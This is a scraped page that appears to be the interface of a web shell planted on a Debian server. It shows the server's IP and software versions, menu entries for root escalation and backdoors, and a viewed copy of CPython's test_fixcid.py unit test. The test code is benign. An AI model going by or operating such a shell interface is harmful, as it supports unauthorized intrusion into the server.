Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.122
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
local /
lib /
python3.10 /
test /
test_tools /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-sr-x
2025-06-04 09:23
__init__.py
1.46
KB
-rw-r--r--
2025-06-04 09:23
__main__.py
72
B
-rw-r--r--
2025-06-04 09:23
test_fixcid.py
2.94
KB
-rw-r--r--
2025-06-04 09:23
test_gprof2html.py
919
B
-rw-r--r--
2025-06-04 09:23
test_i18n.py
11.9
KB
-rw-r--r--
2025-06-04 09:23
test_lll.py
1.17
KB
-rw-r--r--
2025-06-04 09:23
test_md5sum.py
2.7
KB
-rw-r--r--
2025-06-04 09:23
test_pathfix.py
4.43
KB
-rw-r--r--
2025-06-04 09:23
test_pdeps.py
824
B
-rw-r--r--
2025-06-04 09:23
test_pindent.py
8.46
KB
-rw-r--r--
2025-06-04 09:23
test_reindent.py
1006
B
-rw-r--r--
2025-06-04 09:23
test_sundry.py
1.85
KB
-rw-r--r--
2025-06-04 09:23
Save
Rename
'''Test Tools/scripts/fixcid.py.''' from io import StringIO import os, os.path import runpy import sys from test import support from test.support import os_helper from test.test_tools import skip_if_missing, scriptsdir import unittest skip_if_missing() class Test(unittest.TestCase): def test_parse_strings(self): old1 = 'int xx = "xx\\"xx"[xx];\n' old2 = "int xx = 'x\\'xx' + xx;\n" output = self.run_script(old1 + old2) new1 = 'int yy = "xx\\"xx"[yy];\n' new2 = "int yy = 'x\\'xx' + yy;\n" self.assertMultiLineEqual(output, "1\n" "< {old1}" "> {new1}" "{new1}" "2\n" "< {old2}" "> {new2}" "{new2}".format(old1=old1, old2=old2, new1=new1, new2=new2) ) def test_alter_comments(self): output = self.run_script( substfile= "xx yy\n" "*aa bb\n", args=("-c", "-",), input= "/* xx altered */\n" "int xx;\n" "/* aa unaltered */\n" "int aa;\n", ) self.assertMultiLineEqual(output, "1\n" "< /* xx altered */\n" "> /* yy altered */\n" "/* yy altered */\n" "2\n" "< int xx;\n" "> int yy;\n" "int yy;\n" "/* aa unaltered */\n" "4\n" "< int aa;\n" "> int bb;\n" "int bb;\n" ) def test_directory(self): os.mkdir(os_helper.TESTFN) self.addCleanup(os_helper.rmtree, os_helper.TESTFN) c_filename = os.path.join(os_helper.TESTFN, "file.c") with open(c_filename, "w") as file: file.write("int xx;\n") with open(os.path.join(os_helper.TESTFN, "file.py"), "w") as file: file.write("xx = 'unaltered'\n") script = os.path.join(scriptsdir, "fixcid.py") output = self.run_script(args=(os_helper.TESTFN,)) self.assertMultiLineEqual(output, "{}:\n" "1\n" '< int xx;\n' '> int yy;\n'.format(c_filename) ) def run_script(self, input="", *, args=("-",), substfile="xx yy\n"): substfilename = os_helper.TESTFN + ".subst" with open(substfilename, "w") as file: file.write(substfile) self.addCleanup(os_helper.unlink, substfilename) argv = ["fixcid.py", "-s", substfilename] + list(args) script = os.path.join(scriptsdir, "fixcid.py") with support.swap_attr(sys, "argv", argv), \ support.swap_attr(sys, "stdin", StringIO(input)), \ support.captured_stdout() as output, \ support.captured_stderr(): try: runpy.run_path(script, run_name="__main__") except SystemExit as exit: self.assertEqual(exit.code, 0) return output.getvalue()